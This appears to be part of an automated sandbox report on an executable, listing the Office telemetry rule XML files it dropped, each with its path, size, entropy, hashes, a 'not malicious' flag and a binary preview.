Preview:	<?xml...E<.O.i..B.y.Ds.w\|..q.sr......&_Z..}g-...i.K....(M.>$.......qg.C.[n.j..p.......Zw...X...aoW.......+...Ew..K.(.5Q.)aT1B,7..[...8+...l....`..&z....U...<xv..-nQ...=.M.9.\.r5g.$`...Q.G.).....r.R.k..-.....}.2.....\|^.hp.=.l..X..j...r....V.............y.......&.?'.....h\|<6.F...s.....f^@.~/........d..h.<S.hg.....Z.Vk-..3.-...~..y.....R..%B..y.R..4..q.Eru/.V...OL........D.=.....u(..v.:..$.._jK.R.....8......}l.z.}.9gg.M..%SgfN.K..s.>.U..>...sbZ..y.7.._................`.......0p.].3&..<NO.'...TF...y.Hb..jLP.HPy..vYK..x.M2.2.{v.<.....LF_Q.K.....z3[.\...~ ....lsmL]..%B.c].7.Dv.d..Z..X._i.....4.O.EY...P..F...............CH...3....X.:....c.\....._.U)$5.....Z3[e.{.=.fA.....X.n..@..[..I.......ly...&D...-.:..e~...r.l..v/-.,.-.....L/....V!...}.N..gHD.....^.l:,....@.8i=.[PV.-&{.Z....[u.G..Nm...gFRG.......\!X.....K.Z.,j..4.......9..4s.s..6.....mS....b..r..v......+.5...cv.?.Y.....^...<Nn.$......n.X.r....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120100v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	7.834681144311146
Encrypted:	false
SSDEEP:	24:5GnXLZpJAdl7tsX/OEeDOU3J+tAf6Wk75b7cngb1aIDq/X9F4KkTd5aLh8+VbD:kX9pJYtmU5+j5wnrEqlF4Kkd5KFD
MD5:	041DF718301C72A3BA331B7F25A90C49
SHA1:	557AE4BBAD2C328A8536F75C2B6D7675A4CEA2F2
SHA-256:	8A8C07B17ECCC2BB60E89B5767B86299676CFDB6721002898DD6EF2F44E0DB3E
SHA-512:	72AB68D720EE9FAB3164577E431DA6821085DA0A55DD2F856D074687CE77BC63D2A70A26FFA9A97BD899D5E0B5ECBE4AC5281C8C593550231A001B531F6D9491
Malicious:	false
Preview:	<?xml..l.d.6..#0......./;.=a.7.....h..C....&..)..:.z..%4w~..@..q.n.j$.uO.5\.,.C1$.......(......iC..>A...)...vd>z..:N.v...r`...=....>.....??.....{+e.c.m%s...W... .z...,Z.G.E..J.>...........!p.v.[..ci..lp..9P....&.[%.4..P.E.U.a.d.."...!.g..........y2.6.9..}.:/p..m.S.v...]]V...W...]..ct..B.......lP5...b.j.sS......Ct-..2..g..#-@@.[}..,.y....@...=.....$.5..-...ih...-.....Dm,p.l..R\|.+..24.~.^...,`~.+K...{h.N........j...q...k......D.......z........5^..PPMW.f]..k}.\|;....G.?X,]..2..v\...w.{...-.7.0......:...+.d.... .6...6.../....Z..K{...L;.#..x.2\..A.(IN...T.....h...1.\|%.............U2rO..aC.....E..\|......y..>...S....{_.Fq...b...h..........B.h.<.C,.:....pR..m..%.k..7..~....._........c.}......5..H2a...&Wf..M...A9.d'\...Hb~XY..d.w.hO....}..1P..{G........M....r......_....\.b....8..E>.V..m.8.MJ.....Om(.......A6,k......$M..@...................L..O..".}......-.MLTelU.<...o*.D./.....p......+...1w...PBC."P'/.p...O...p..Ql.)~..oB< .Q..T..@..CP,v..[r.r..V.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120119v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1665
Entropy (8bit):	7.878068131972562
Encrypted:	false
SSDEEP:	48:vO7xtoLpbzv9X6YqGRZhFMAnXW0QyV5IZfxxFD:2noLl9X67GtvHQOIz9
MD5:	98CD3F7E9A8537C9F15A31D34462A3E5
SHA1:	9EDA271F9C08305785D5FFFCBADB14B9AD318AFE
SHA-256:	FF4202F737FEF17B357670AE5ECC75F54199A437A68D976D9348E427D5926887
SHA-512:	A2358C544B20D38E9340DABFBAF3D2144C9A0A00E360AFC42F25CCFC2E1F60F96AE2D92CDB97FC77A710890CF06A7AB42FDF5E8A4A58E06C6999FF862B82ED54
Malicious:	false
Preview:	.<?....m.....3.....zG..F..oK..^c.j.s..t..J.+..!-?.z(a.......N@..M,H#.......4:2..3..`...J.].{.......q50.$.}.....a\..N..7~.......g.....N.d..6...@..&9${.....)(.]... .......:....N......)].mz......G...'.X^....'.ql...q.gY.N..FR...I9...v..~.7...n....p..H.V.....[....r.P....~5....\|.wcc.>h.O..a...O7...]....<...r..}.....Qj/...".@Cn..7V.r......cR..... ..Hy@q..?...VB3<C....}._G../PHy].8..i.._A.....,YHt.!.P...h....b...Y\|..Y..[k.VI]..d.(...T..b.$.et.%st.j9..?....Z..@..:...f9J.%.... ..>.....X.O<..8...F.....)H\.N-.....P......K..k_{2...-.....!-...`..[..o=C!D.,...3....V...7..qcj<.9....F@.k.2........-..3. a......~&;O...........z.....&.k.>.L$.....K....A.^kb...pqt..2...t.oT.U7..k\|z9.......r..z....O..K;.p..m.H\|.@.X.m..M?HO.....}]U)..Y.#...B..{.7!..3....P.:.As....x.3h._2.p..............3.~..l."f.=....z..t]....J...A.8....D.o.........<........s/.7mJ....G..M....l6..)@...i..}...."..6?...u...h&_o..!$.........5e}.l...e..*Q..V.r....."...t...`.~..ju.5.6S.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120128v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	992
Entropy (8bit):	7.789512912853983
Encrypted:	false
SSDEEP:	24:j5XdIR0dCqO5HjJOw7wo2XoummCqjuGTUA/VK+EVbD:j5XHdCqwlO1Yu0mRKhFD
MD5:	8153B5969C3301C19300BD65A3D455A7
SHA1:	53BFBAAF76E530C005A3F62790FAC6DFE12A934C
SHA-256:	12D0EAB06492064DC105E02291DAAA60B1D7360BBC40F3B787D27B421B40A574
SHA-512:	368A03194DEC23F95C7948E20B8D05B3EE920FD3E492515496EA6809DBB4C4D0B46F7A5A5B962B7C116BFFA3D7866F9C475F0D534294B3232D4B44CF09682048
Malicious:	false
Preview:	.<?.WV..j...}..Q........Q..0.[..]..x.0...b.9..u.,..?.#Dd..e.s#....q.........27y~Y.......S..M....N.....@2OogRdd9S..S.^5.R.2....A...\|.Y3....H&...U....]>.W."...a`...w.....%...t]k......a...zfT.z.)Z.#Y......1=...%....T.........,...P..EZ..z+@(.8..5...%P..r.:..j+...yv/...^~3.w.]..%&...~.)K.7......yc,A.w.....E.s9Ra.,...(.@'......o.cM&K..p..N.uB2-.6...".\..uML..aZ...z.R...n......D..W#..eu.Zsk...X..@.X...f...[U+.2.D..!...p.....IDV.#...=.....(\|.......H.....{...o4.E..O..j..0.R.... ~."6........`.Q.[.&,n..@.Jc~..;.....3...C..%..yR.y...(.s...Uy.yX.29u...=M....&."..h......f.".i.iN^........<......R.$....&.._.E........V+.5-.....Y.ux4[R.:..0 .p;r..F.\|_.Z.8=.U...+.m1FB.6/..Tw_.J......w...U..J...`..%..d.Q.-..d.....?.EO..c... I.F>...\oA..k..C......z.^FE!.3M.].+.79.g.......M~".6YK........r3..Xa.g.........Wef2..m....Cy.9.._......\..m...i........sG./.3Yo.z.$):-..r@=..Jitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule12019v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	4150
Entropy (8bit):	7.953622635992304
Encrypted:	false
SSDEEP:	96:/K307+4FpPdtfYt4utRnXKgVbK1w9x/m8JDjs9:i30C4HQtHDXtkix/m8JDj0
MD5:	C1108B1FDA1DCBC5C44A71FA49A1BF48
SHA1:	B9D44F4488F157B3EA3222025EA91802530E9B34
SHA-256:	D60A507AC3C2E5EF26C60B711B73BDE5794FD3925667371B5526C66CAF83D21A
SHA-512:	5F167F90CDCB2617C926883653A947AF7CEE5A11A1A924870AFED77852BD6426CF2E0952C4F16FDBB1BBEFFDD36F052F2AD5920D423A4799379C34A81B2EE354
Malicious:	false
Preview:	<?xmlR...XS.-.p(.\.x..~..Z[.+.,xRM.+....&_.#s.......v.H.^].IT0._u.j..v:.eZ.Tz.....cn..M'......!.Cf}.F1...U;...E.%...@..O9.N.l..)..OW...9\|..D..A.<.......y,....@...4Lp.........U.A.0...a...1...8B....'........X7..By.l.(<.NKo"=.<Y7...Y..\v...O...../...5.(...5.`7A..A..X..x.H.xc..{..-e....\|2N.:....^...........Y..^..S.b..>...k$LT.E...L^u.P;W..f..~KN.FK...DQ.h.@Q.fu.z...U........h.T&~.+G,...(M.4..{$."..W8F.E..EuHm.6yG.m.q`m....y...J(......9..?j..?......ePtL...".i,^.!.....0...(a.Hx}....H.J.....2.._...R..ZQ.t>...`L.$^..6O.n....Ri...\.....2....d^.....&S...`.9W.........=..?j.&x.oF...0...qwpo`%..p9./.L..\|.aZ...>....6.z.'\.L}:2F\|...#g......A..Z.IP_...$..`;H.....K.^";..p.........4T6....u...Q....9.hY....(X/D..{....7mlB.HO.Nf.q/6.....+.0..Y.....,.Wa.N...M!`ZC.j.H~H..5WlM....U..v_......3p.\.u.r.....^......\|.}`V*....3.s...l;..S.......^..n....nmc2).)........T(y..l..(.k=..jO...s\|.}}.>P.....\...#.i.4.....bc....,'.'Y.<..9?k&...7..&...M.=.A]..,fK.g{..Rd.eed..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule12035v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	7.931805774389633
Encrypted:	false
SSDEEP:	48:2BzesznVAWN97K6Ay0JmasQzdZLk8iN9RvRgCPPGxFXsbH3qt1obkkFnU+vkRoQn:2BpzVAWNFK6Ay6masIZa9FRZcF8rkLII
MD5:	47E88660C5D341965610BA6ECF0D23D7
SHA1:	6D28313080974CD9243B50472723ACA94946B945
SHA-256:	714126597E36BA4BE7C8B2CBFFB03F8AF20727A97D28A77AF4FC51DA0DD47DF4
SHA-512:	EA12785D1699CA21CD2A56E0595833571BBEF076EBC13B7F7CF0D6F5B975D77F40456EFF9AB2188C8C62D2C198F9629E00EF8A3FB3A432BD664FFBE543306B3E
Malicious:	false
Preview:	<?xml.y...&..e.._..U..LK5.cP.O..."..Yc.}_....w.A...hjM.bT....c...(1.NO.orS/&...^...T.Q.]2^.P.....^I%g95..u......w.(..e.T...7#.....l....+x..E......j.......f....~..g.@....a>b..=<..P..X...!....8f.l?:t.Xh...gCs...'..b...y.X.e.......:8...~.....y.<......V..=p..q..?<...R.......x8uWMl.8...%...a^xa...4.bL.ibc.....L..M..g...w^..X.k...$..Fb......N..k\|Bf1....^..ZT..2.H....p<.c...u^.....b%..kj.:5........>.....>.....1t_....$:...od.....E.{...uXq..]...g'...$n.vr.tv.[....S9..L..w..T......k..Z.mr...f..?...4~.Mb8..gg.........K......]?cV....I.<]..^.+..............j..y.hvw..e...X.[a...Y'...~.....4.WQ.=Sqo....X....+........U... .h #...4\|S..4.:..U....`.....8.....!...p...H...Y..OH.D...H... .{W.].>..1..92...X.[....q.I...=m.)T?^?.....I.p..7j..l(...n.*......u..\|..Z.S........!Y..b!V..sM...s..o....V......w.!..2.CQb.Q...PB<..p..N...[.4.6....U.,n.....fz..bX.3.h.B...)AYl6...I'..?t@.K....s...U.G..Mx@......S.K`".C./A....0..#...l.:+....S.........Jv.}..c...n.....r

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120402v21.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	4122
Entropy (8bit):	7.948128766267383
Encrypted:	false
SSDEEP:	96:XQgFEe8SC1ZHyBkPeCMdlchTC0hXfk18Q5I/9MKXoVW15TZ9:XQgOrSC7yBFjMXPQK/9zgWTr
MD5:	0AD429F6AF972A5A9E9A0EF244E1A1C8
SHA1:	68EA7BEC4A7FAF944EB92D8F14A4D8D188450E11
SHA-256:	6C799A41AAFB987BA1CCD9AC8F7AADB51164338BDDAF901306799F39D5D696AB
SHA-512:	07DDDB1F34151F3140EE27DF4BA23A838C728F2E79AE0FE7DEDE2CF93A1C0EF27C1B88CA000B2C7D3BEE231AE39A0E2C3F35F28E154052E6BB24E80728ECEEA5
Malicious:	false
Preview:	.<?`V.t.I.....Ic.L....kf.S..9.Dt8f...G...Rl..Px....I..F.Cp......3u.5.w.C64P.x..s..sgH.f.(.I.'.k!.B..<\|...+.7X!.o.S/...6....'h~....E.n).+.:,8..........\.C..O...(c.}`3.K.S...T...X...pT.6y.s........'.c......o..1..B1'..at^i...g.>D.j>..6..]YY..n....Pi......6...LIQ...._.rdy9.Ri.@..9..P....Ny..p.p...a..y.Q..zw.l.$..v..~..:y..9.u;^..Y.\+.b.@p.....7....6L.Qy........+.y.e.5MC'..3r.S.....#.{('>.Vt......mxW.n.h.F.....\|2W.......pq...)d.0.)N....<.I...$2..y.g..S$..k%z.O.'./....\|UV...\e.....}j......G.S.(s.4..:..Y%.T9YA...4.6#..%=.6....\.qH"...BB.\........x.......<..AV....K6.....\....>_PW..8;.A.j..L.5.<.UOY..........}...Z.l.....Zt.\|.l%./.c......B\..y.T;.....\w@.d$`..g...!..{..S..D..f0~.....2...1k;.........v.m..D.x..T0{.LVw....:r..k/K4.ns.gfB.I../l".7..=._i.0.......?.Px.a+..$R.2*P.N.RX.@+.....6.r@g......vT$.m.....+.`L.%.C8.2y.V..-&.j..t...=..Xqc.A.iZ`.........P.q..I...?X..~."??.'R.t...s...aX..'.(..8..n...U...,........'.R..!i....k.....kJ.9C

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120600v4.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3314
Entropy (8bit):	7.935291666224802
Encrypted:	false
SSDEEP:	96:XCw8GD0XEYZGTMNaV3TfKTT6BTlWbFvu0Mp9:ypqL4ixFYTfbJu0Q
MD5:	5EC1B1717A0A64D8D1F64D2104489996
SHA1:	B3C80D8888DD8E0755FC6E5AB50B234A0CC074CD
SHA-256:	16F83C9C60280777205D693975D9035AD93993AD3AA4353F3189F992765BA567
SHA-512:	04922B791D7B9120B72CF220D1A2C504C4441E487C9186346703A6CD355D8D7AF8C17BF94DA24031863872B4904BB6A89D0C7C29FCA4387832949AC828305EBE
Malicious:	false
Preview:	.<?!o....9KL9+.xF....i.....i....>k.1.f.8./....8.g$.%.../..9.X....q(...H.....4...."E@..d..NS..._...V{K..<+.a..+&.,..%......d9.....k:.....n..u.^F.2m...e.}.~.f.V..w..6...A....n2Z..N{&O......f .?=....$...$"=..6.M...Cp..7./.L0..r[.:.cZt...U.,D$.=MJ...{F&....N..AA2...kb.!.P.....S%....xu..IL<Y.jG.e>.?..0{F.s.....V.(.8.D....m.N]...?p-.9F0..:E..E7.f..9.z......H...... ...Rv...d,"7....[<h......R..WXN5'x...U..u..!..%...`..c.3.i..?.8....)....nK....g..<e.te..fT8(........w@.....g`.n.k.v0.#..x&9....9k......E..G.P.z..C.f.._.. .o.....;0.+....#.....].....b.tL.y0a4z67r..._.~.9N....IM..K.z .. ..W....vr..V.~F.+.KV}e)...y......e2....82..4..).HPP..pe...{...."..e!......'Z..A..AL.M...A...cv..&;}.O0..F..&..w.......L.,..t...Gu.i@..3..p....v.X.......l.). ...>......l0.....n.e.....E.(......`:.m.z..V.=.n.]'...../J..Q.+...`..W...9%D.G!..g....nN~}7.t-t.%\|..vk...D..'.._^.. tp..\|t.r..B.O........C'.~.$..g...BD.....y-S.....r<w.....67;Ti......5....[....o.O....:BjA..I....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120601v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3676
Entropy (8bit):	7.938154105275965
Encrypted:	false
SSDEEP:	48:oiHFVE/DSHjDdWvVbDNt9uBkGYbBhw+GaqG0khOUiqoPRtZhMNru544bwFD:oUa2dWvRDNfCZYbnZR0k9TobjMVu54l9
MD5:	CCF5887AB2A9BF7A63A2CF090474882F
SHA1:	9AC3A03E26175933BC37B123F8094D0CB36A25CA
SHA-256:	1C15F3A65E6166A6276C4ACB08E862A1A12ABAFBABF961E8459771B02C8FED31
SHA-512:	32D659A1120C259384D615563BEEBE6A75E754BAFEF19D4E0C4D0CD3462060F8A36B8A0A00208935D110AE38B3557E3F538229F8DEC8B046733F838438E3993D
Malicious:	false
Preview:	.<?...p.z..r.........=........_.....U.`.r.n%....F........R.h>K2._.q.;x.`......!.mk-f-..fw.y..`g.RuZM....o.V.i.:.F.0n..v.q.\|..(...a..N.%[..E.Y..... F.......t....D...D..$..d.*l.R.5$?Y.$K...&.Tj&.k......Q`..Ou..v.!X...C......F@..w........?(..=.q..a.1ZqK....~.....n.]....H@.U..\..X...0....=\|d...._-..1?].IG.y<k...c.r.Xv..g..%.......{..l'..W`y.i.......>$D.]..E.j.L..a\|N5M_?.>.lc.vc\....m9.Z7.....t.....;...H.c.63.I...Yg...:.L..d.OJ!_d.....+.&...;ck.\..o ...Z..3.U..=.H...C....1....[.H.M`...LJ3.X..y.!./......)..m......z..f.m=.E.\|../..F.s_2"...X..Y..-..D.68_....7.....d.T/..w..LKv]`.<\|.V\|}......c_tz.\..(?.cLT.l.H..'0...........3........a.....#~/..n../..e........g.....3..n~.L[...i .].IrcjIY..>.!.....V...M5....'.;b..)..G..W.X..u..N[..R.@...-.\|m.]2.{..$..r..."cr0n...-.... 2...x.`.;[V...."..w...f..`........Y.w)..a..{.+.>.).+.Kcu..o._2.z...)./.W'=....+.E.....CO.<.........p.,..C....[\{....f..J..?.,...2.#z,N...H3....>....w.IV..o.J27....N.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120602v8.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2925
Entropy (8bit):	7.9308426063552275
Encrypted:	false
SSDEEP:	48:rTjpmuWW5bHuzIMK7i8LZ8dcVfgnvWqIgaFh3msmA77u2RwtYdgzYiTM/lB19vLZ:rTjprWabQqV0c1kWZLFhm5JV0iw/D191
MD5:	1DA740F2B1FCD6370B51C41E869A7F85
SHA1:	05846B42D36A0884E6318EB18FAFA4CAAB8820A6
SHA-256:	97C22F19D951E055166F1A064564C07615A2FF26412116909A3815C5AC4C73F5
SHA-512:	E7F2F12592CCB96DE1331BE287132178AD0629AA3FBD15FF6D31E186A7D7C428FAF1785B2D5C982354E7CBC1A980893705F207D401041B49E921805807C1904A
Malicious:	false
Preview:	.<?.rw%u\|....V..@iC..".H>7...fO......E.L..Je..A.9........-...a...i7.#.B...,.......F+Z...h}}.'dn@2q%..........wg...o.@..T..t. ..%.<`.......Xu.!....u&..5.u.....y..I.X%...3..P..l..f.:....-6f..'.........&.,.c.....4....Q.[.....Q.....h.. \.........o.n.-.fZ..=H.S.l....y.....X.3S.L......;..>..e.A.h.h.4..cs.e.?........b..=..........^..../..t.B.R..O..).H.a\A.^....m.o2s.;..U..8t.H.}..O.}k..%..l.,...+...nSP....X..x....x.&.K...2.AhdG.A......."N<.r..Lo.w3IYK..l..5..T...o..XiX..y..{..C..... .P....k...a..5`..d.:...0..%..FG.$:b'..dS....s..;....=...f.v..P>g^.G..r...../.G....#....3.....D}.0.p.G..D.e..l.....--.wxnj.....VH...t..+L...5.K\|"CI.V.Q.$\|.._?K.......K.e..../.KtX.?.&.:.#..N.=W.}...8.K@...b__D3....p{>......q.0.>n..m&ad.e.........o..T.....7..q...p......4..dYy...6...`l......y..9E]z....yMS6d.).X.9.....m.c...4'm/ReS..A.P...`..(.T.%...#(X...ct..9$z.^...SkL.....k...;........#...l.I.s..*~1...=...2&Jm.5q+.!Q.P..D..u.fK.G+a[..~V..].B.....H<....P.j....W.X..4........83

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120603v8.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2462
Entropy (8bit):	7.930135860650279
Encrypted:	false
SSDEEP:	48:zEXeNIyql9eQJX5+Jl7Z5e9l9fqhRoVxKWgvSFD:zQeNIyql9e++Jl95aHqOxngvS9
MD5:	62176E331DDCAFBEE4B1F570BD7E9D4E
SHA1:	237C6AEE29B86EF071564DE8B73F8119C0DD4F67
SHA-256:	DE53DA1EDEB583E07790C1ACE63A833B7A6F53B4D014522C120430665424A3CB
SHA-512:	59AB2AB449FDC4EE226204073823E6C552C40672B14726234B39AD90A10498D95573413A835CD772E09875CA6CA11F9ECCBC777929A675AD0AC5812270FE7841
Malicious:	false
Preview:	.<?...&o..O9.J...wB...CU.2#...6..`..L.A.o<.n;.}.,....,KMH.5...H.3....Z..[.!n....$...r...Z.>........C.S..]#C.....{.... .a.8..w2..G\|.....h....x.a..yL.%.xIF..-T...5....V.....u\.>.`......=...fq..NBJ.uo~R...9_..V....5v.B..M,..:.........60.t0MqF.....`r ....Lkm..8...../:..x\.[-..`.8'.7........]4..P.b.E....u..Tn........A......}.}.;Z.2....k...$q.a...}.X.N..S..z..........._Il.....`.....=.v.......<...........S.^.....Z..].6...T.l<........CZ4._.[.`...............`.Q....k,...f..d>...."}f.T..,d+.....>.....SG....t..]....N6.....><..s...:.3.$...k...P.z.I/.....~3+a#s..V3T$.I..>..V...1.>3.....=b..@A.. >..!G./...o..7I......{h].7.....GW..Y..[z.T..f..<.....#...p...b..(.[G...!....Q..fJ./$.....Y., 1.....$./C....H.bT..=~..D.g.."Q....Y+X~.H.c......9...c.d.!..".$.....K7.p..;.m.....m..}&.t..&..Q..`.K..(.\.\U;..6Oy.jd.......=q..!B..".+.32x.)....$`..S......u.<m..p..5..........<.....j.?.a.Q.y..J.i...?..N...#!~....j..+......V..eR:O.......1.i....}%..6E.0..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120607v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	538
Entropy (8bit):	7.532635564888307
Encrypted:	false
SSDEEP:	12:nOK1b3tVd3o1ZvLhm79MUu0VgJdTW5lVzBKgU4ZBjVcii9a:9hdb3qvVmhu0iJdTAa3WJVbD
MD5:	8CAF5EDDDB8C7B9DB05C8F68145EB4A5
SHA1:	9D2D1D1899258BF02152D504879EE37F31C4255B
SHA-256:	82FA5C13E3E6A83871D8B3700264D29EE4193D595FDAFC11CF417266FB8E597B
SHA-512:	47270D979BA714970E681ACD760EDB544BBC782DF2C47F2CCC3982249D72948FAEA0B2EA75A86D5C0A0AF6D69D219E97BF6094BAEA9CAC4738692F2FB3CB1AB5
Malicious:	false
Preview:	.<?....k.H-0...G.....e..'N..XEf].n...Pm-.z.XX..#...~,>..7.......a..S.-.J...H.#.......,...0Q\|....V..t9!:<..p.]Hb$.h`.....Z..{.\fX.._C..R.....Qo...\....2D..H.X.M.=r..-4U..-.....\...P.L..@r..`.8F.R....%$...-......._...lf.../..2.%@..onDK...J....~.....]......02.....7........D..iv?1..a...D.../r4..>.5............P..M..l~..b...@?N.e...P.....\|.oD.k$.Mn....MIsu.Q....]/_q.u...j'..g....5....~5t.y.5...F,....!.PV...y.n.u...:o.%...7.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120608v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2494
Entropy (8bit):	7.917524704416858
Encrypted:	false
SSDEEP:	48:bJr5u5FBIQN9aYhrES0WvwsE6ZMq2siA0qHlrX5uS+WfCS1h7ZFD:fqBpLhJES3BEK9irqH956WXht9
MD5:	B6E8503E0BAE7BDD8064388EE000D4EB
SHA1:	3FFE00D2166992D979B35E5FDAAF63A117086B83
SHA-256:	78FA2A822A41DF697BC74E832A53A3D5845FAFAD7E88AEBCABC226E0659FDA3E
SHA-512:	20436F6B8AB4067802E5AAD9BE230CDEA7F3541CB42B5A52B884ACF4C81076073700C928685A8AC7DB498606DDC51DC2E822AC3A51126B5EB32834D10DDF0B81
Malicious:	false
Preview:	.<?j."$...28..r S.H:..i....s.....v.V..=!...a..)'..a..V.#..Qh..q..^..~.+Z..t<c....Z[N.V.[.6..:AVy..Q..d!../X..;s.........V...b.v..B.........#....M#.\|J.nx..>...Q......<7(.m_..S....3.oE.}lk2......Lw..t...gM..6....+... ..fG.h.xzpu.n2.(?..4...L.U....i.B.t.?FU..N.).....Y...AtF.o.`!......s../..:...m.&#........[Z.g.'.+ck.._&.+O).4..Jz.r.M.HJ.[.=.<....%.Bm..M..ix.....R....0As...............r..f.2;.X>P........U.P.o..b.e@.....N...8...'n.:q..\|..-.v$b..jE]h.k.p..4G....C....otn.....T2......8..;..qp.......<.e..._...P...v(.83<l........bvZ..R....l...y..DJ6..r..7...k.j.oP\|~U.$..`Zm.v......q..I.z).....TG...Fr5t.[.......t..Z......tl#.8CJ..........[.....{...\.j.C..3.w.6.!>...x3.)D....:..RT.......Al-...g..ma...hPS.Rhi8.c..YZ. ..Vr^..4..kpt../i8.&.}.)l.?(...U.5N{~...M/.F.y\|.F.s.g.\..UI.y.]{Z.dm.X..L.PB&.ki....QK}..8......c......).Z)3Vw.3R...j.2K.S..o..Y.gG.$.e...........r.T......:...\.x.B.l'.,..........7CO..n^.......<'..R.z..\|...N.z%(.{.`..)9.O.$.....z.#...{N.g.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120609v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	742
Entropy (8bit):	7.72082649955442
Encrypted:	false
SSDEEP:	12:YiePBmjWhM6LzWUD6b3VMGqplerWR6SnUOQ1lq4o1WFxjVcii9a:YiUK+rwu1leOU1lqt1kZVbD
MD5:	4F5FAC7BF2A93470B5E110AF542F49B2
SHA1:	330E273B74503BEC763305954C97E38E26EB9C3B
SHA-256:	1FD0BC0CB3CBE44D865C031B17B9962661B2DB0A1D5C195236ED813BF1A1EFA6
SHA-512:	1E11AA0A7BCE9ED04BD2B78CB97CA551C77C4CA01986D6C3FE433A2D7DE689EAEECBE6B401EBC0AABA4E0ED2F81EC8DF4611E3DB8DBADC56F6B1078A1C1A4D00
Malicious:	false
Preview:	.<?(......N.c.E.....i[.a.Tzu.m..U.4..p+.F....5/jd..&.....6..O..W.v.......j&.....mS.C..gJu......W..s.q.:._.XC_.>Y..r.%5..K..(..7....NiT...8.x.Bu..........-....r9.N...'<CJ7....2nx....../...D..W_._t..Gv.wH./...+..p^.I1L..m.N>..0...b..8s.{....E..H".^5.e..!9........r.GR...u..].s&..W;&U.b.D2..8...Z9..T.$..>#X..T.1T..`."'.'...x...-...Q\t<...G.S.e....i[xj.wl.I..\.......zyWK.s......(s..Qt-.M.c...Z.{.Z....Z....iE3...J..xM.@J..x..C..f.X...{.)..J..[.M'X..si....tD.G....v:.`Vr......q...C)q........5e.c......z..>e...h..T.t.Y<..\\|....D/..G......H=y.....^.^.X..,X.1..{...~.........Y....E.2...V...b.....<%..A>E.....6qx...g-..K.sX...x.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120610v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.72664093811316
Encrypted:	false
SSDEEP:	12:MlDSbrTdjp95TNltmW73CQ5vqSvDig063RjpG8A5Xs3kGskvVolTGSB/ljVcii9a:Mlebz95TNlZ3CY3DifyRVsXsUvlPlVbD
MD5:	0A25493183FB5F5E21A4029B9D797E70
SHA1:	258B60CB3406394271992F7F69D0C2E140ADAE3A
SHA-256:	45BAC8278094CE01DB08AF46E8DC650E629C1948D9304A0AE0A359F20DD0CC3D
SHA-512:	D311CD6908B6779001E6183695DDE177BFDEAECAB91FC8F3D091B6B20896E61EE0C5CDE88C92887F5DB982A43B2DE9EA4517317AC1D3AE9A44B38EFC0CA20C56
Malicious:	false
